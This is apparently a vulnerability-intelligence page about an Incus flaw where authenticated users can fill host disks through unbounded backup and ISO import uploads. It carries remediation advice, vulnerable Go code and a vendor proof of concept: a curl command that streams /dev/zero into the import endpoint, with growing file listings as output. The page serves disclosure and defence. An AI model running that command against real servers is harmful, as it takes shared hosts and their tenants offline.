Incus CVE-2026-41685
MEDIUMAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain API credentials
-
DeliveryConnect to Incus REST API
-
ExploitPOST unbounded stream to import endpoint
-
ExecutionDaemon writes stream to temp file
-
PersistExhaust host disk space
-
ImpactHost system becomes unavailable
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource allocation limits
MITRE ATT&CK
1 technique across 1 tactic: Impact The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires authenticated API access to the Incus server (PR:L in CVSS vector). The attacker must be able to reach the Incus REST API endpoint network-wise (AV:N). The vulnerable endpoints are: POST /1.0/instances (instance backup import via createFromBackup), POST /1.0/storage-pools/{pool}/buckets/{bucket} (storage bucket import via createStoragePoolBucketFromBackup), POST /1.0/storage-pools/{pool}/volumes/{volume} (storage volume backup import via createStoragePoolVolumeFromBackup), and POST /1.0/storage-pools/{pool}/volumes/{volume} with ISO content (storage volume ISO import via createStoragePoolVolumeFromISO). All four endpoints must have Content-Type: application/octet-stream for the vulnerable code path to be triggered. The request body is passed directly as the data io.Reader parameter without size limits. No special daemon configuration is required; the vulnerability is present in default Incus deployments. However, impact is limited if storage.images_volume and storage.backups_volume are configured to use separate storage pools, as those uploads are redirected away from host storage. Exploitation is NOT limited by user interaction (UI:N), request complexity (AC:L), or scope boundaries (S:U), meaning authenticated users can exploit this against the host infrastructure itself. |
| Impact | This vulnerability presents moderate real-world risk despite a low CVSS score of 4.3. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L) correctly reflects that exploitation requires network access and low-privilege authentication, with low attack complexity and local availability impact. However, the CVSS score significantly underestimates risk in multi-tenant deployments. The proof-of-concept is straightforward and publicly documented, demonstrating that an authenticated user with minimal effort can sustain disk exhaustion indefinitely. The vulnerability impacts availability at the host/node level, not just the individual tenant's quota, which CVSS:3.1 scope:unchanged (S:U) does not fully capture. SSVC decision framework assessment: exploitation is confirmed to be proof-of-concept or deployed (POC publicly available), the attack is trivially automatable (streaming null bytes), and technical impact is mission-critical for multi-tenant hosters (denial of service affecting all tenants sharing the node). Limiting factors: exploitation requires authenticated access (PR:L), mitigating opportunistic attacks but not targeted attacks by legitimate users or compromised tenant accounts. Default IncusOS deployments using storage.images_volume and storage.backups_volume have reduced impact because large uploads are redirected to separate volumes rather than host storage. The real-world risk is high for traditional deployments without volume separation. |
| Exploit ScenarioDerived | An authenticated user with API access to an Incus server (e.g., legitimate tenant in a shared hosting environment, or internal user with compromised credentials) submits a POST request to the instance backup import endpoint (/1.0/instances?project=default) with Content-Type: application/octet-stream and an open-ended data stream (e.g., /dev/zero piped through curl with -T -). The Incus daemon accepts the request without size limit enforcement and begins writing the stream to a temporary file in /var/lib/incus/backups/. The attacker keeps the connection open for hours, continuously consuming disk space. Within minutes to hours, the host filesystem fills completely, causing the Incus daemon to fail, other services to malfunction, and the entire host system potentially becoming unresponsive or unreachable. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 04, 2026
Incus before version 7.0.0 allows authenticated users to exhaust host disk space through unbounded uploads via instance backup import, storage bucket import, storage volume backup import, and storage volume ISO import endpoints. The daemon streams HTTP request bodies directly into temporary files using io.Copy without enforcing maximum request size limits, enabling denial of service on the host system or shared storage in multi-tenant deployments. Public proof-of-concept code demonstrates sustained disk exhaustion by streaming null bytes through application/octet-stream endpoints.
RemediationAI
Upgrade Incus to version 7.0.0 or later, which includes request size enforcement in the binary import paths. For users unable to immediately upgrade, implement compensating controls: Configure storage.images_volume and storage.backups_volume to redirect image and backup uploads to dedicated storage volumes separate from the host filesystem (default on IncusOS). This prevents large uploads from consuming the primary host disk. Alternatively, implement network-level rate limiting or request size limits at the reverse proxy or load balancer in front of Incus, rejecting HTTP POST requests with overly large Content-Length headers to the affected endpoints (/1.0/instances with POST and application/octet-stream content type, /1.0/storage-pools/{pool}/buckets/{bucket} with POST, /1.0/storage-pools/{pool}/volumes/{volume} with POST). Restrict API access to trusted users only via firewall rules or API authentication tightening. Set filesystem quotas on /var/lib/incus to prevent total host disk exhaustion, though this will cause the daemon to fail ungracefully. Monitor /var/lib/incus/backups and /var/lib/incus/isos directories for rapid file growth as an early warning indicator. The recommended primary fix is upgrading to v7.0.0; workarounds are insufficient for high-trust environments.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Incus is a container and virtual machine management platform that provides REST API endpoints for managing instances, storage volumes, and backups. The vulnerability exists in the binary import handlers within the Go-based daemon (incusd). The vulnerable code paths are located in instances_post.go, storage_buckets.go, and storage_volumes.go. These endpoints accept application/octet-stream content-type requests and pass the HTTP request body directly to import routines via io.Reader parameters. The root cause is the absence of HTTP request size limits (http.MaxBytesReader), stream size limits (io.LimitReader), or quota-aware I/O wrappers around the data parameter before it is copied to disk using io.Copy. The affected functions create temporary files under daemon-controlled directories (/var/lib/incus/backups, /var/lib/incus/isos) and persist unbounded request bodies without validating payload size. CWE-770 (Allocation of Resources Without Limits or Throttling) classifies this as a resource exhaustion vulnerability where input validation fails before resource consumption occurs.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Primary rating from Vendor (https://github.com/lxc/incus).
CVSS VectorVendor: https://github.com/lxc/incus
DescriptionCVE.org
Summary
Uploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system.
The impact here is limited for anyone using storage.images_volume and storage.backups_volume as those users will have large uploads be stored on those volumes rather than directly on the host filesystem. This is the default behavior on IncusOS.
Details
Multiple binary import paths accept application/octet-stream requests and stream the HTTP request body directly into temporary files on the host without any visible request-size limit on the upload path.
When these endpoints receive binary content, the daemon routes the request body into import routines that create temporary files under daemon-controlled host storage locations and copy the full attacker-controlled stream into them using direct io.Copy operations. This write occurs before the uploaded content is fully parsed and before later validation can reject the import.
Because no visible http.MaxBytesReader, io.LimitReader, quota-aware wrapper, or equivalent size-enforcement mechanism is present around these upload paths, an authenticated attacker can supply an arbitrarily large continuous stream of data. This causes the daemon to keep writing unbounded input to host storage until the operation fails or the underlying file system is exhausted. In a multi-tenant deployment, this can be used to consume shared disk space and cause denial of service on the node.
The binary import handlers are reachable through application/octet-stream request paths in the instance backup import, storage bucket import, and storage volume import flows, where the request body is passed directly into import helpers handling backup and ISO uploads.
Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/instances_post.go
Affected Code:
func createFromBackup(s *state.State, r *http.Request, projectName string, data io.Reader, pool string, instanceName string, config string, device string) response.Response {
reverter := revert.New()
defer reverter.Fail()
// Create temporary file to store uploaded backup data.
backupFile, err := os.CreateTemp(internalUtil.VarPath("backups"), fmt.Sprintf("%s_", backup.WorkingDirPrefix))
if err != nil {
return response.InternalError(err)
}
defer func() { _ = os.Remove(backupFile.Name()) }()
reverter.Add(func() { _ = backupFile.Close() })
// Stream uploaded backup data into temporary file.
_, err = io.Copy(backupFile, data)
if err != nil {
return response.InternalError(err)
}
[...]
}Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/storage_buckets.go
Affected Code:
func createStoragePoolBucketFromBackup(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, bucketName string) response.Response {
[...]
backupFile, err := os.CreateTemp(internalUtil.VarPath("backups"), fmt.Sprintf("%s_", backup.WorkingDirPrefix))
[...]
_, err = io.Copy(backupFile, data)
[...]
}Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/storage_volumes.go
Affected Code:
func createStoragePoolVolumeFromBackup(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, volName string) response.Response {
[...]
backupFile, err := os.CreateTemp(internalUtil.VarPath("backups"), fmt.Sprintf("%s_", backup.WorkingDirPrefix))
[...]
_, err = io.Copy(backupFile, data)
[...]
}
[...]
func createStoragePoolVolumeFromISO(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, volName string) response.Response {
[...]
isoFile, err := os.CreateTemp(internalUtil.VarPath("isos"), fmt.Sprintf("%s_", "incus_iso"))
[...]
size, err := io.Copy(isoFile, data)
[...]
}PoC
The following PoC demonstrates one reachable instance of this issue through the instance import endpoint. The same unbounded upload-to-tempfile pattern is also present in storage bucket backup import, storage volume backup import, and storage volume ISO import handlers.
Step 1: Trigger the sustained upload stream
From an Incus client with access to the target server, open a long-lived application/octet-stream upload and continuously stream null bytes into the instance import endpoint. Using timeout 120 limits the reproduction to two minutes while still demonstrating that the daemon keeps writing attacker-controlled input for as long as the connection remains open.
Commands:
echo "[*] Initiating a 2-minute sustained disk exhaustion attack..."
timeout 120 cat /dev/zero | curl -k -X POST \
--cert ~/.config/incus/client.crt \
--key ~/.config/incus/client.key \
"https://7atest.dev.stgraber.org:443/1.0/instances?project=default" \
-H "Content-Type: application/octet-stream" \
-T -Step 2: Verify host-side disk growth during the upload
On the Incus host, observe the temporary backup file being actively written under the backups directory while the client keeps the stream open.
Command:
watch -n 1 "ls -lh /var/lib/incus/backups/"Result:
total 100M
drwx------ 2 root root 4.0K Mar 1 22:44 custom
-rw------- 1 root root 100M Mar 23 10:46 incus_backup_2743299426
drwx------ 2 root root 4.0K Mar 1 22:44 instances
total 106M
drwx------ 2 root root 4.0K Mar 1 22:44 custom
-rw------- 1 root root 106M Mar 23 10:46 incus_backup_2743299426
drwx------ 2 root root 4.0K Mar 1 22:44 instances
total 110M
drwx------ 2 root root 4.0K Mar 1 22:44 custom
-rw------- 1 root root 110M Mar 23 10:46 incus_backup_2743299426
drwx------ 2 root root 4.0K Mar 1 22:44 instances
total 113M
drwx------ 2 root root 4.0K Mar 1 22:44 custom
-rw------- 1 root root 113M Mar 23 10:46 incus_backup_2743299426
drwx------ 2 root root 4.0K Mar 1 22:44 instancesStep 3: Observe post-stream failure behavior
When the client-side timeout expires, the upload is interrupted locally and the stream stops. In this reproduction, that means the process is terminated before any later import-stage error is surfaced back to the client. This does not mitigate the issue during the active upload window, because io.Copy continues writing to disk for as long as the attacker keeps the stream open.
It is recommended to enforce a maximum request size or quota-aware upload limit in the affected binary import paths before any data is written to disk. The incoming request body should be wrapped with http.MaxBytesReader, io.LimitReader, or an equivalent quota-aware mechanism so that oversized uploads fail safely before consuming unbounded host storage. By contrast, other upload flows such as image upload appear to use internalIO.NewQuotaWriter(..., budget) when persisting request data, but no analogous quota enforcement is visible in the affected binary import handlers.
A patch is available at https://github.com/lxc/incus/releases/tag/v7.0.0.
Credit
This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
GHSA-98vh-x9cx-9cfp
NVD
CVE.org
EPSS
Exploit-DB